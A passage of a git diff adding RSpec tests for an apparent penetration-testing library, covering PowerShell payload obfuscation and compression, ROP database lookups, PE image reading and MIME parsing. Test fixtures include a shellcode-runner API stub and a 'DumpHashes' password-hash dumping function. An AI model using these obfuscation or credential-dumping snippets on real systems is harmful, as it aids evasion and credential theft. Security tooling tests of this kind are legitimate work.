be_truthy + end + end + + describe "::sub_vars" do + it 'should replace variables with unique names' do + subject.sub_vars + subject.code.should be + subject.code.should be_kind_of String + subject.code.include?('$kernel32').should be_falsey + subject.code.include?('$Logon').should be_falsey + end + end + + describe "::sub_funcs" do + it 'should replace functions with unique names' do + subject.sub_funcs + subject.code.should be + subject.code.should be_kind_of String + subject.code.include?('Find-4624Logons').should be_falsey + end + end + + describe "::standard_subs" do + it 'should run all substitutions on a script with no literals' do + subject_no_literal.standard_subs + subject_no_literal.code.should be + subject_no_literal.code.should be_kind_of String + subject_no_literal.code.include?('Find-4624Logons').should be_falsey + subject_no_literal.code.include?('lots of whitespace').should be_truthy + subject_no_literal.code.include?('$kernel32').should be_falsey + subject_no_literal.code.include?('comment').should be_falsey + res = (subject_no_literal.code =~ /\r\n\r\n/) + res.should be_falsey + end + + it 'should run all substitutions except strip whitespace when literals are present' do + subject.standard_subs + subject.code.should be + subject.code.should be_kind_of String + subject.code.include?('Find-4624Logons').should be_falsey + subject.code.include?('lots of whitespace').should be_falsey + subject.code.include?('$kernel32').should be_falsey + subject.code.include?('comment').should be_falsey + res = (subject.code =~ /\r\n\r\n/) + res.should be_falsey + end + end +end + diff --git a/spec/lib/rex/exploitation/powershell/output_spec.rb b/spec/lib/rex/exploitation/powershell/output_spec.rb new file mode 100644 index 0000000000..a0aebdd24e --- /dev/null +++ b/spec/lib/rex/exploitation/powershell/output_spec.rb @@ -0,0 +1,115 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/exploitation/powershell' + +describe Rex::Exploitation::Powershell::Output do + + let(:example_script) do + Rex::Text.rand_text_alpha(400) + end + + let(:subject) do + Rex::Exploitation::Powershell::Script.new(example_script) + end + + let(:eof) do + Rex::Text.rand_text_alpha(10) + end + + describe "::to_s" do + it 'should print the script' do + subject.to_s.should eq example_script + end + end + + describe "::size" do + it 'should return the size of the script' do + subject.size.should eq example_script.size + end + end + + describe "::to_s_lineno" do + it 'should print the script with line numbers' do + subject.to_s_lineno.should eq "0: #{example_script}" + end + end + + describe "::deflate_code" do + it 'should zlib the code and wrap in powershell in uncompression stub' do + compressed = subject.deflate_code + compressed.include?('IO.Compression.DeflateStream').should be_truthy + compressed =~ /FromBase64String\('([A-Za-z0-9\/+=]+)'\)/ + $1.size.should be < Rex::Text.encode_base64(example_script).size + compressed.should eq subject.code + end + + it 'should append an eof marker if specified' do + compressed = subject.deflate_code(eof) + compressed.include?("echo '#{eof}';").should be_truthy + end + end + + describe "::encode_code" do + it 'should base64 encode the code' do + encoded = subject.encode_code + encoded.should eq subject.code + encoded =~ /^([A-Za-z0-9\/+=]+)$/ + $1.size.should eq encoded.size + end + end + + describe "::gzip_code" do + it 'should gzip the code and wrap in powershell in uncompression stub' do + compressed = subject.gzip_code + compressed.include?('IO.Compression.GzipStream').should be_truthy + compressed =~ /FromBase64String\('([A-Za-z0-9\/+=]+)'\)/ + $1.size.should be < Rex::Text.encode_base64(example_script).size + compressed.should eq subject.code + end + + it 'should append an eof marker if specified' do + compressed = subject.gzip_code(eof) + compressed.include?("echo '#{eof}';").should be_truthy + end + end + + describe "::compress_code" do + it 'should gzip by default' do + compressed = subject.compress_code + compressed.include?('IO.Compression.GzipStream').should be_truthy + end + + it 'should deflate if gzip is false' do + compressed = subject.compress_code(nil,false) + compressed.include?('IO.Compression.DeflateStream').should be_truthy + end + + it 'should append an eof' do + compressed = subject.compress_code(eof) + compressed.include?("echo '#{eof}';").should be_truthy + end + end + + describe "::decompress_code" do + it 'should locate the base64 string and decompress it when deflate is used' do + compressed = subject.compress_code(nil, false) + decompressed = subject.decompress_code + decompressed.should eq example_script + end + + it 'should locate the base64 string and decompress it when gzip is used' do + compressed = subject.compress_code + decompressed = subject.decompress_code + decompressed.should eq example_script + end + + it 'should raise a RuntimeException if the Base64 string is not compressed/corrupted' do + corrupted = "FromBase64String('parp')" + subject.code = corrupted + expect { subject.decompress_code }.to raise_error(RuntimeError) + subject.code.should eq corrupted + end + end +end + diff --git a/spec/lib/rex/exploitation/powershell/param_spec.rb b/spec/lib/rex/exploitation/powershell/param_spec.rb new file mode 100644 index 0000000000..98bd22f373 --- /dev/null +++ b/spec/lib/rex/exploitation/powershell/param_spec.rb @@ -0,0 +1,27 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/exploitation/powershell' + +describe Rex::Exploitation::Powershell::Param do + + let(:param_name) do + Rex::Text.rand_text_alpha(15) + end + + let(:klass_name) do + Rex::Text.rand_text_alpha(15) + end + + describe "::initialize" do + it 'should create a param' do + param = Rex::Exploitation::Powershell::Param.new(klass_name, param_name) + param.should be + param.name.should eq param_name + param.klass.should eq klass_name + param.to_s.include?("[#{klass_name}]$#{param_name}").should be_truthy + end + end + +end + diff --git a/spec/lib/rex/exploitation/powershell/parser_spec.rb b/spec/lib/rex/exploitation/powershell/parser_spec.rb new file mode 100644 index 0000000000..02f9694854 --- /dev/null +++ b/spec/lib/rex/exploitation/powershell/parser_spec.rb @@ -0,0 +1,159 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/exploitation/powershell' + +describe Rex::Exploitation::Powershell::Parser do + + let(:example_script) do +""" +function Find-4624Logons +{ + $some_literal = @\" + using System; + using System.Runtime.InteropServices; + namespace $kernel32 { + public class func { + [Flags] public enum AllocationType { Commit = 0x1000, Reserve = 0x2000 } + [Flags] public enum MemoryProtection { ExecuteReadWrite = 0x40 } + [Flags] public enum Time : uint { Infinite = 0xFFFFFFFF } + [DllImport(\"kernel32.dll\")] public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); + [DllImport(\"kernel32.dll\")] public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); + [DllImport(\"kernel32.dll\")] public static extern int WaitForSingleObject(IntPtr hHandle, Time dwMilliseconds); + } + } +\"@ + if (-not ($NewLogonAccountDomain -cmatch \"NT\\sAUTHORITY\" -or $NewLogonAccountDomain -cmatch \"Window\\sManager\")) + { + $Key = $AccountName + $AccountDomain + $NewLogonAccountName + $NewLogonAccountDomain + $LogonType + $WorkstationName + $SourceNetworkAddress + $SourcePort + if (-not $ReturnInfo.ContainsKey($Key)) + { + $Properties = @{ + LogType = 4624 + LogSource = \"Security\" + SourceAccountName = $AccountName + SourceDomainName = $AccountDomain + NewLogonAccountName = $NewLogonAccountName + NewLogonAccountDomain = $NewLogonAccountDomain + LogonType = $LogonType + WorkstationName = $WorkstationName + SourceNetworkAddress = $SourceNetworkAddress + SourcePort = $SourcePort + Count = 1 + Times = @($Logon.TimeGenerated) + } + $literal2 = @\"parp\"@ + $ResultObj = New-Object PSObject -Property $Properties + $ReturnInfo.Add($Key, $ResultObj) + } + else + { + $ReturnInfo[$Key].Count++ + $ReturnInfo[$Key].Times += ,$Logon.TimeGenerated + } + } + } +}""" + + end + + let(:subject) do + Rex::Exploitation::Powershell::Script.new(example_script) + end + + describe "::get_var_names" do + it 'should return some variable names' do + vars = subject.get_var_names + vars.should be + vars.should be_kind_of Array + vars.length.should be > 0 + vars.include?('$ResultObj').should be_truthy + end + + it 'should not match upper or lowercase reserved names' do + initial_vars = subject.get_var_names + subject.code << "\r\n$SHELLID" + subject.code << "\r\n$ShellId" + subject.code << "\r\n$shellid" + after_vars = subject.get_var_names + initial_vars.should eq after_vars + end + end + + describe "::get_func_names" do + it 'should return some function names' do + funcs = subject.get_func_names + funcs.should be + funcs.should be_kind_of Array + funcs.length.should be > 0 + funcs.include?('Find-4624Logons').should be_truthy + end + end + + describe "::get_string_literals" do + it 'should return some string literals' do + literals = subject.get_string_literals + literals.should be + literals.should be_kind_of Array + literals.length.should be > 0 + literals[0].include?('parp').should be_falsey + end + end + + describe "::scan_with_index" do + it 'should scan code and return the items with an index' do + scan = subject.scan_with_index('DllImport') + scan.should be + scan.should be_kind_of Array + scan.length.should be > 0 + scan[0].should be_kind_of Array + scan[0][0].should be_kind_of String + scan[0][1].should be_kind_of Integer + end + end + + describe "::match_start" do + it 'should match the correct brackets' do + subject.match_start('{').should eq '}' + subject.match_start('(').should eq ')' + subject.match_start('[').should eq ']' + subject.match_start('<').should eq '>' + expect { subject.match_start('p') }.to raise_exception(ArgumentError) + end + end + + describe "::block_extract" do + it 'should extract a block between brackets given an index' do + idx = subject.code.index('{') + block = subject.block_extract(idx) + block.should be + block.should be_kind_of String + end + + it 'should raise a runtime error if given an invalid index' do + expect { subject.block_extract(nil) }.to raise_error(ArgumentError) + expect { subject.block_extract(-1) }.to raise_error(ArgumentError) + expect { subject.block_extract(subject.code.length) }.to raise_error(ArgumentError) + expect { subject.block_extract(59) }.to raise_error(ArgumentError) + end + end + + describe "::get_func" do + it 'should extract a function from the code' do + function = subject.get_func('Find-4624Logons') + function.should be + function.should be_kind_of Rex::Exploitation::Powershell::Function + end + + it 'should return nil if function doesnt exist' do + function = subject.get_func(Rex::Text.rand_text_alpha(5)) + function.should be_nil + end + + it 'should delete the function if delete is true' do + function = subject.get_func('Find-4624Logons', true) + subject.code.include?('DllImport').should be_falsey + end + end +end + diff --git a/spec/lib/rex/exploitation/powershell/psh_methods_spec.rb b/spec/lib/rex/exploitation/powershell/psh_methods_spec.rb new file mode 100644 index 0000000000..7b2b9b4fe6 --- /dev/null +++ b/spec/lib/rex/exploitation/powershell/psh_methods_spec.rb @@ -0,0 +1,44 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/exploitation/powershell' + +describe Rex::Exploitation::Powershell::PshMethods do + + describe "::download" do + it 'should return some powershell' do + script = Rex::Exploitation::Powershell::PshMethods.download('a','b') + script.should be + script.include?('WebClient').should be_truthy + end + end + describe "::uninstall" do + it 'should return some powershell' do + script = Rex::Exploitation::Powershell::PshMethods.uninstall('a') + script.should be + script.include?('Win32_Product').should be_truthy + end + end + describe "::secure_string" do + it 'should return some powershell' do + script = Rex::Exploitation::Powershell::PshMethods.secure_string('a') + script.should be + script.include?('AsPlainText').should be_truthy + end + end + describe "::who_locked_file" do + it 'should return some powershell' do + script = Rex::Exploitation::Powershell::PshMethods.who_locked_file('a') + script.should be + script.include?('Get-Process').should be_truthy + end + end + describe "::get_last_login" do + it 'should return some powershell' do + script = Rex::Exploitation::Powershell::PshMethods.get_last_login('a') + script.should be + script.include?('Get-QADComputer').should be_truthy + end + end +end + diff --git a/spec/lib/rex/exploitation/powershell/script_spec.rb b/spec/lib/rex/exploitation/powershell/script_spec.rb new file mode 100644 index 0000000000..b8076478cf --- /dev/null +++ b/spec/lib/rex/exploitation/powershell/script_spec.rb @@ -0,0 +1,48 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/exploitation/powershell' + +describe Rex::Exploitation::Powershell::Output do + + let(:example_script) do + Rex::Text.rand_text_alpha(400) + end + + let(:subject) do + Rex::Exploitation::Powershell::Script.new(example_script) + end + + describe "::initialize" do + it 'should create a new script object' do + subject.should be + subject.should be_kind_of Rex::Exploitation::Powershell::Script + subject.rig.should be + subject.rig.should be_kind_of Rex::RandomIdentifierGenerator + subject.code.should be + subject.code.should be_kind_of String + subject.code.empty?.should be_falsey + subject.functions.empty?.should be_truthy + end + end + + describe "::to_byte_array" do + it 'should generate a powershell byte array' do + byte_array = Rex::Exploitation::Powershell::Script.to_byte_array("parp") + byte_array.should be + byte_array.should be_kind_of String + byte_array.include?('[Byte[]] $').should be_truthy + end + end + + describe "::code_modifiers" do + it 'should return an array of modifier methods' do + mods = Rex::Exploitation::Powershell::Script.code_modifiers + mods.should be + mods.should be_kind_of Array + mods.empty?.should be_falsey + end + end + +end + diff --git a/spec/lib/rex/exploitation/powershell_spec.rb b/spec/lib/rex/exploitation/powershell_spec.rb new file mode 100644 index 0000000000..e28fc63391 --- /dev/null +++ b/spec/lib/rex/exploitation/powershell_spec.rb @@ -0,0 +1,47 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/exploitation/powershell' + +describe Rex::Exploitation::Powershell do + + let(:example_script) do + """function DumpHashes +{ + LoadApi + $bootkey = Get-BootKey; + $hbootKey = Get-HBootKey $bootkey; + Get-UserKeys | %{ + $hashes = Get-UserHashes $_ $hBootKey; + \"{0}:{1}:{2}:{3}:::\" -f ($_.UserName,$_.Rid, + [BitConverter]::ToString($hashes[0]).Replace(\"-\",\"\").ToLower(), + [BitConverter]::ToString($hashes[1]).Replace(\"-\",\"\").ToLower()); + } +} +DumpHashes""" + end + + describe "::read_script" do + it 'should create a script from a string input' do + script = described_class.read_script(example_script) + script.should be_a_kind_of Rex::Exploitation::Powershell::Script + end + end + + describe "::process_subs" do + it 'should create an array of substitutions to process' do + subs = described_class.process_subs("BitConverter,ParpConverter;$bootkey,$parpkey;") + subs.should eq [['BitConverter','ParpConverter'],['$bootkey','$parpkey']] + end + end + + describe "::make_subs" do + it 'should substitute values in script' do + script = described_class.make_subs(example_script,[['BitConverter','ParpConverter']]) + script.include?('BitConverter').should be_falsey + script.include?('ParpConverter').should be_truthy + end + end + +end + diff --git a/spec/lib/rex/exploitation/ropdb_spec.rb b/spec/lib/rex/exploitation/ropdb_spec.rb index a1ae61b24b..100652fa96 100644 --- a/spec/lib/rex/exploitation/ropdb_spec.rb +++ b/spec/lib/rex/exploitation/ropdb_spec.rb @@ -16,23 +16,23 @@ describe Rex::Exploitation::RopDb do context ".has_rop?" do it "should find the msvcrt ROP database" do - ropdb.has_rop?("msvcrt").should be_true + ropdb.has_rop?("msvcrt").should be_truthy end it "should find the java ROP database" do - ropdb.has_rop?("java").should be_true + ropdb.has_rop?("java").should be_truthy end it "should find the hxds ROP database" do - ropdb.has_rop?("hxds").should be_true + ropdb.has_rop?("hxds").should be_truthy end it "should find the flash ROP database" do - ropdb.has_rop?("flash").should be_true + ropdb.has_rop?("flash").should be_truthy end it "should return false when I supply an invalid database" do - ropdb.has_rop?("sinn3r").should be_false + ropdb.has_rop?("sinn3r").should be_falsey end end @@ -82,4 +82,4 @@ describe Rex::Exploitation::RopDb do end end -end \ No newline at end of file +end diff --git a/spec/lib/rex/image_source/disk_spec.rb b/spec/lib/rex/image_source/disk_spec.rb new file mode 100644 index 0000000000..a00b59360c --- /dev/null +++ b/spec/lib/rex/image_source/disk_spec.rb @@ -0,0 +1,157 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/image_source/disk' + +describe Rex::ImageSource::Disk do + + let(:path) do + File.join(Msf::Config.data_directory, "templates", "template_x86_windows_old.exe") + end + + let(:file) do + File.new(path) + end + + subject do + described_class.new(file) + end + + it_should_behave_like 'Rex::ImageSource::ImageSource' + + describe "#initialize" do + subject(:disk_class) do + described_class.allocate + end + + context "when _len not sent as argument" do + let(:_file) { file } + + it "initializes size to file length" do + disk_class.send(:initialize, file) + expect(disk_class.size).to eq(4608) + end + end + + context "when _offset not sent as argument" do + let(:_file) { file } + it "initializes file_offset to 0" do + disk_class.send(:initialize, file) + expect(disk_class.file_offset).to eq(0) + end + end + end + + describe "#read" do + context "when offset less than 0" do + let(:offset) { -1 } + let(:len) { 20 } + + it "raises a RangeError" do + expect { subject.read(offset, len) }.to raise_error(RangeError) + end + end + + context "offset plus len greater than size" do + let(:offset) { 0 } + let(:len) { 16000 } + + it "raises a RangeError" do + expect { subject.read(offset, len) }.to raise_error(RangeError) + end + end + + context "when offset and len inside range" do + let(:offset) { 0 } + let(:len) { 2 } + + it "returns file contents" do + expect(subject.read(offset, len)). to eq('MZ') + end + end + + context "instance with tampered size" do + let(:tampered_size) { 6000 } + + subject(:tampered) do + described_class.new(file, 0, tampered_size) + end + + context "when reading offset after the real file length" do + let(:offset) { 5000 } + let(:len) { 2 } + it "returns nil" do + expect(tampered.read(offset, len)).to be_nil + end + end + end + end + + describe "#index" do + let(:search) { 'MZ' } + + it "returns index of first search occurrence" do + expect(subject.index(search)).to eq(0) + end + + context "when offset out of range" do + it "returns nil" do + expect(subject.index(search, 6000)).to be_nil + end + end + + context "when search string not found" do + it "returns nil" do + expect(subject.index(search, 4600)).to be_nil + end + end + + context "instance with tampered size" do + let(:tampered_size) { 6000 } + + subject(:tampered) do + described_class.new(file, 0, tampered_size) + end + + context "when searching offset after the real file length" do + let(:offset) { 5000 } + it "raises NoMethodError" do + expect{ tampered.index(search, offset) }.to raise_error(NoMethodError) + end + end + end + end + + describe "#subsource" do + let(:offset) { 2 } + let(:len) { 512 } + + it "returns a new Rex::ImageSource::Disk" do + expect(subject.subsource(offset, len)).to be_kind_of(described_class) + end + + it "returns a new Rex::ImageSource::Disk with same file" do + expect(subject.subsource(offset, len).file).to eq(subject.file) + end + + it "returns a new Rex::ImageSource::Disk with provided size" do + expect(subject.subsource(offset, len).size).to eq(len) + end + + it "returns a new Rex::ImageSource::Disk with file_offset added to the original" do + expect(subject.subsource(offset, len).file_offset).to eq(offset + subject.file_offset) + end + end + + describe "#close" do + it "returns nil" do + expect(subject.close).to be_nil + end + + it "closes the associated file" do + expect(subject.file.closed?).to be_falsey + subject.close + expect(subject.file.closed?).to be_truthy + end + end +end diff --git a/spec/lib/rex/image_source/memory_spec.rb b/spec/lib/rex/image_source/memory_spec.rb new file mode 100644 index 0000000000..d2246ac83c --- /dev/null +++ b/spec/lib/rex/image_source/memory_spec.rb @@ -0,0 +1,191 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/image_source/memory' + +describe Rex::ImageSource::Memory do + + let(:raw_data) { 'ABCDEFGHIJKLMNOP' } + + subject do + described_class.new(raw_data) + end + + it_should_behave_like 'Rex::ImageSource::ImageSource' + + describe "#initialize" do + subject(:memory_class) do + described_class.allocate + end + + it "initializes size to data length" do + memory_class.send(:initialize, raw_data) + expect(memory_class.size).to eq(raw_data.length) + end + + it "initializes file_offset to 0 by default" do + memory_class.send(:initialize, raw_data) + expect(memory_class.file_offset).to eq(0) + end + + context "when using nil as data" do + it "raises an error" do + expect { memory_class.send(:initialize, nil) }.to raise_error(NoMethodError) + end + end + end + + describe "#read" do + context "when offset is positive" do + let(:offset) { 1 } + let(:len) { 10 } + + it "returns an String" do + expect(subject.read(offset, len)).to be_a_kind_of(String) + end + + it "returns an String of provided length" do + expect(subject.read(offset, len).length).to eq(10) + end + + it "returns an String with _raw_data contents starting at provided offset" do + expect(subject.read(offset, len)).to start_with('BCD') + end + end + + context "when offset is negative" do + let(:offset) { -5 } + let(:len) { 2 } + + it "returns an String" do + expect(subject.read(offset, len)).to be_a_kind_of(String) + end + + it "returns an String of provided length" do + expect(subject.read(offset, len).length).to eq(2) + end + + it "offset is counted from the end of the _raw_data" do + expect(subject.read(offset, len)).to eq('LM') + end + end + + context "when offset is out of range" do + let(:offset) { 20 } + let(:len) { 2 } + + it "returns nil" do + expect(subject.read(offset, len)).to be_nil + end + end + + context "when len is bigger than _raw_data" do + let(:offset) { 0 } + let(:len) { 20 } + + it "returns an String" do + expect(subject.read(offset, len)).to be_a_kind_of(String) + end + + it "returns an String truncated to available contents" do + expect(subject.read(offset, len).length).to eq(raw_data.length) + end + end + end + + describe "#subsource" do + let(:offset) { 2 } + let(:len) { 10 } + + it "returns a new Rex::ImageSource::Memory" do + expect(subject.subsource(offset, len)).to be_kind_of(described_class) + end + + it "returns a new Rex::ImageSource::Memory with provided size" do + expect(subject.subsource(offset, len).size).to eq(len) + end + + it "returns a new Rex::ImageSource::Memory with file_offset added to the original" do + expect(subject.subsource(offset, len).file_offset).to eq(offset + subject.file_offset) + end + + it "returns a new Rex::ImageSource::Memory with rawdata from the original" do + expect(subject.subsource(offset, len).rawdata).to eq(subject.rawdata[offset, len]) + end + + context "when offset is out of range" do + let(:offset) { 20 } + let(:len) { 2 } + + it "raises an error" do + expect { subject.subsource(offset, len) }.to raise_error(NoMethodError) + end + end + + context "when len is bigger than source rawdata" do + let(:offset) { 2 } + let(:len) { 20 } + + it "returns a new Rex::ImageSource::Memory" do + expect(subject.subsource(offset, len)).to be_kind_of(described_class) + end + + it "returns a new Rex::ImageSource::Memory with provided size truncated" do + expect(subject.subsource(offset, len).size).to eq(14) + end + + it "returns a new Rex::ImageSource::Memory with file_offset added to the original" do + expect(subject.subsource(offset, len).file_offset).to eq(offset + subject.file_offset) + end + + it "returns a new Rex::ImageSource::Memory with rawdata truncated" do + expect(subject.subsource(offset, len).rawdata).to eq('CDEFGHIJKLMNOP') + end + end + end + + describe "#close" do + it "returns nil" do + expect(subject.close).to be_nil + end + end + + describe "#index" do + let(:found) { 'FG' } + let(:not_found) { 'XYZ' } + + context "when search available substring" do + it "returns the index of the first occurrence" do + expect(subject.index(found)).to eq(5) + end + + context "when using negative offset" do + let(:offset) { -14 } + it "returns the index of the first occurrence" do + expect(subject.index(found, offset)).to eq(5) + end + end + + context "when using positive offset" do + let(:offset) { 1 } + it "returns the index of the first occurrence" do + expect(subject.index(found, offset)).to eq(5) + end + end + end + + context "when search not available substring" do + it "returns nil" do + expect(subject.index(not_found)).to be_nil + end + end + + context "when using negative offset" do + let(:offset) { -1 } + it "start to search from offset from the end of the string" do + expect(subject.index(found, offset)).to be_nil + end + end + end + +end diff --git a/spec/lib/rex/mac_oui_spec.rb b/spec/lib/rex/mac_oui_spec.rb new file mode 100644 index 0000000000..a4f185ef5f --- /dev/null +++ b/spec/lib/rex/mac_oui_spec.rb @@ -0,0 +1,86 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/mac_oui' + +describe Rex::Oui do + describe ".lookup_oui_fullname" do + subject(:oui_fullname) { described_class.lookup_oui_fullname(mac) } + + context "when valid mac for OUI with name" do + let(:mac) { '000011' } + let(:name) { 'Tektrnix' } + it { is_expected.to eq(name) } + end + + context "when valid mac for OUI with name and long name" do + let(:mac) { '00:00:0E:12:34:56' } + let(:name) { 'Fujitsu' } + let(:long_name) { 'FUJITSU LIMITED' } + it { is_expected.to eq("#{name} / #{long_name}") } + end + + context "when valid mac format, without OUI" do + let(:mac) { '11:22:33:44:55:66'} + it { is_expected.to eq('UNKNOWN') } + end + + context "when invalid mac format" do + let(:mac) { 'invalid' } + it "raises an error" do + expect { oui_fullname }.to raise_error + end + end + end + + describe ".lookup_oui_company_name" do + subject(:oui_company_name) { described_class.lookup_oui_company_name(mac) } + + context "when valid mac for OUI with name" do + let(:mac) { '000011' } + let(:name) { 'Tektrnix' } + it { is_expected.to eq(name) } + end + + context "when valid mac for OUI with name and long name" do + let(:mac) { '00:00:0E:12:34:56' } + let(:name) { 'Fujitsu' } + let(:long_name) { 'FUJITSU LIMITED' } + it { is_expected.to eq(long_name) } + end + + context "when valid mac format, without OUI" do + let(:mac) { '11:22:33:44:55:66'} + it { is_expected.to eq('UNKNOWN') } + end + + context "when invalid mac format" do + let(:mac) { 'invalid' } + it "raises an error" do + expect { oui_company_name }.to raise_error + end + end + end + + describe ".check_mac" do + context "when valid mac" do + it { expect(described_class.check_mac('AA:BB:CC')).to be_nil } + it { expect(described_class.check_mac('AABBCC')).to be_nil } + it { expect(described_class.check_mac('AA:BB:CC:DD')).to be_nil } + it { expect(described_class.check_mac('AABBCCDD')).to be_nil } + it { expect(described_class.check_mac('AA:BB:CC:DD:EE')).to be_nil } + it { expect(described_class.check_mac('AABBCCDDEE')).to be_nil } + it { expect(described_class.check_mac('AA:BB:CC:DD:EE:FF')).to be_nil } + it { expect(described_class.check_mac('AABBCCDDEEFF')).to be_nil } + end + + context "when invalid mac" do + it { expect { described_class.check_mac('AA') }.to raise_error } + it { expect { described_class.check_mac('AA:BB:CC:DD:JJ') }.to raise_error } + it { expect { described_class.check_mac('AA:BB') }.to raise_error } + it { expect { described_class.check_mac('AABB') }.to raise_error } + it { expect { described_class.check_mac('AA:BB:CC:DD:EE:FF:AA') }.to raise_error } + it { expect { described_class.check_mac('AABBCCDDEEFFAA') }.to raise_error } + end + end +end diff --git a/spec/lib/rex/mime/encoding_spec.rb b/spec/lib/rex/mime/encoding_spec.rb new file mode 100644 index 0000000000..85f7a9fc27 --- /dev/null +++ b/spec/lib/rex/mime/encoding_spec.rb @@ -0,0 +1,32 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/mime' + +describe Rex::MIME::Encoding do + + subject do + mod = Class.new + mod.extend described_class + mod + end + + describe "#force_crlf" do + it "deletes \\r characters" do + expect(subject.force_crlf("Test\r1\r")).to_not include("\\r") + end + + it "substitutes \\n characters by \\r\\n sequences" do + expect(subject.force_crlf("Test 2\n")).to end_with("\r\n") + end + + it "preserves \r\n sequences" do + expect(subject.force_crlf("\r\nTest 3\r\n")).to eq("\r\nTest 3\r\n") + end + + it "first deletes \\r characters, then substitutes \\n characters" do + expect(subject.force_crlf("\rTest 4\r\n\r\r\n")).to eq("Test 4\r\n\r\n") + end + end + +end diff --git a/spec/lib/rex/mime/header_spec.rb b/spec/lib/rex/mime/header_spec.rb new file mode 100644 index 0000000000..e4063d86ac --- /dev/null +++ b/spec/lib/rex/mime/header_spec.rb @@ -0,0 +1,151 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/mime' + +describe Rex::MIME::Header do + + let(:mime_headers_test) do + <<-EOS +Content-Type: text/plain; +Content-Disposition: attachment; filename="test.txt" + EOS + end + + subject do + described_class.new + end + + describe "#initialize" do + subject(:header_class) do + described_class.allocate + end + + it "returns an Array" do + expect(header_class.send(:initialize)).to be_a(Array) + end + + it "creates an empty headers array by default" do + expect(header_class.send(:initialize)).to be_empty + end + + it "populates headers array with data from argument" do + header_class.send(:initialize, mime_headers_test) + expect(header_class.headers.length).to be(2) + end + end + + describe "#add" do + it "returns the added entry" do + expect(subject.add('var', 'val')).to eq(['var', 'val']) + end + + it "adds a new entry into the headers array" do + subject.add('var', 'val') + expect(subject.headers.length).to eq(1) + end + end + + describe "#set" do + it "returns the set value" do + expect(subject.set('var', 'val')).to eq('val') + end + + it "modifies the header entry if it exists" do + subject.add('var', 'val') + subject.set('var', 'val2') + expect(subject.headers.length).to eq(1) + expect(subject.headers[0]).to eq(['var', 'val2']) + end + + it "creates the header entry if doesn't exist" do + subject.set('var2', 'val2') + expect(subject.headers.length).to eq(1) + expect(subject.headers[0]).to eq(['var2', 'val2']) + end + end + + describe "#remove" do + it "doesn't remove any header if index doesn't exist" do + subject.add('var', 'val') + subject.remove(10000) + expect(subject.headers.length).to eq(1) + end + + it "doesn't remove any header if var name doesn't exist" do + subject.add('var', 'val') + subject.remove('var2') + expect(subject.headers.length).to eq(1) + end + + it "removes header entry if index exists" do + subject.add('var', 'val') + subject.remove(0) + expect(subject.headers.length).to eq(0) + end + + it "removes any header entry with var name" do + subject.add('var', 'val') + subject.add('var2', 'val2') + subject.add('var', 'val3') + subject.remove('var') + expect(subject.headers.length).to eq(1) + end + end + + describe "#find" do + it "returns nil if header index doesn't exist" do + expect(subject.find(1)).to be_nil + end + + it "returns nil if header var name doesn't exist" do + expect(subject.find('var')).to be_nil + end + + it "returns the header at index if exists" do + subject.add('var', 'val') + expect(subject.find(0)).to eq(['var', 'val']) + end + + it "returns the first header with var name if exists" do + subject.add('var', 'val') + subject.add('var', 'val2') + subject.add('var', 'val3') + expect(subject.find('var')).to eq(['var', 'val']) + end + end + + describe "#to_s" do + it "returns empty String if there aren't headers" do + expect(subject.to_s).to be_empty + end + + it "returns string with headers separated by \\r\\n sequences" do + subject.add('var', 'val') + subject.add('var', 'val2') + subject.add('var3', 'val3') + expect(subject.to_s).to eq("var: val\r\nvar: val2\r\nvar3: val3\r\n") + end + end + + describe "#parse" do + let(:complex_header) do + 'Date: Wed,20 Aug 2014 08:45:38 -0500' + end + + it "parses headers separated by lines" do + subject.parse(mime_headers_test) + expect(subject.headers.length).to eq(2) + end + + it "parses headers names and values separated by :" do + subject.parse(mime_headers_test) + expect(subject.headers).to eq([['Content-Type', 'text/plain;'], ['Content-Disposition', 'attachment; filename="test.txt"']]) + end + + it "parses headers with ':' characters in the value" do + subject.parse(complex_header) + expect(subject.headers).to eq([['Date', 'Wed,20 Aug 2014 08:45:38 -0500']]) + end + end +end diff --git a/spec/lib/rex/mime/message_spec.rb b/spec/lib/rex/mime/message_spec.rb new file mode 100644 index 0000000000..c9d94873cc --- /dev/null +++ b/spec/lib/rex/mime/message_spec.rb @@ -0,0 +1,412 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/mime' +require 'rex/text' + +describe Rex::MIME::Message do + + subject do + described_class.new + end + + describe "#initialize" do + subject(:message_class) do + described_class.allocate + end + + let(:raw_message) do + message = "MIME-Version: 1.0\r\n" + message << "Content-Type: multipart/mixed; boundary=\"_Part_12_3195573780_381739540\"\r\n" + message << "Subject: Pull Request\r\n" + message << "Date: Wed,20 Aug 2014 08:45:38 -0500\r\n" + message << "Message-ID: <WRobqc7gEyQVIQwEkLS7FN3ZNhS1Xj9pU2szC24rggMg@tqUqGjjSLEvssbwm>\r\n" + message << "From: contributor@msfdev.int\r\n" + message << "To: msfdev@msfdev.int\r\n" + message << "\r\n" + message << "--_Part_12_3195573780_381739540\r\n" + message << "Content-Disposition: inline; filename=\"content\"\r\n" + message << "Content-Type: application/octet-stream; name=\"content\"\r\n" + message << "Content-Transfer-Encoding: base64\r\n" + message << "\r\n" + message << "Q29udGVudHM=\r\n" + message << "\r\n" + message << "--_Part_12_3195573780_381739540--\r\n" + + message + end + + it "creates a new Rex::MIME::Header" do + message_class.send(:initialize) + expect(message_class.header).to be_a(Rex::MIME::Header) + end + + it "creates an empty array of parts" do + message_class.send(:initialize) + expect(message_class.parts).to be_empty + end + + it "creates a random bound" do + message_class.send(:initialize) + expect(message_class.bound).to include('_Part_') + end + + it "allows to populate headers from argument" do + message_class.send(:initialize, raw_message) + expect(message_class.header.headers.length).to eq(7) + end + + it "allows to create a MIME-Version header from argument" do + message_class.send(:initialize, raw_message) + 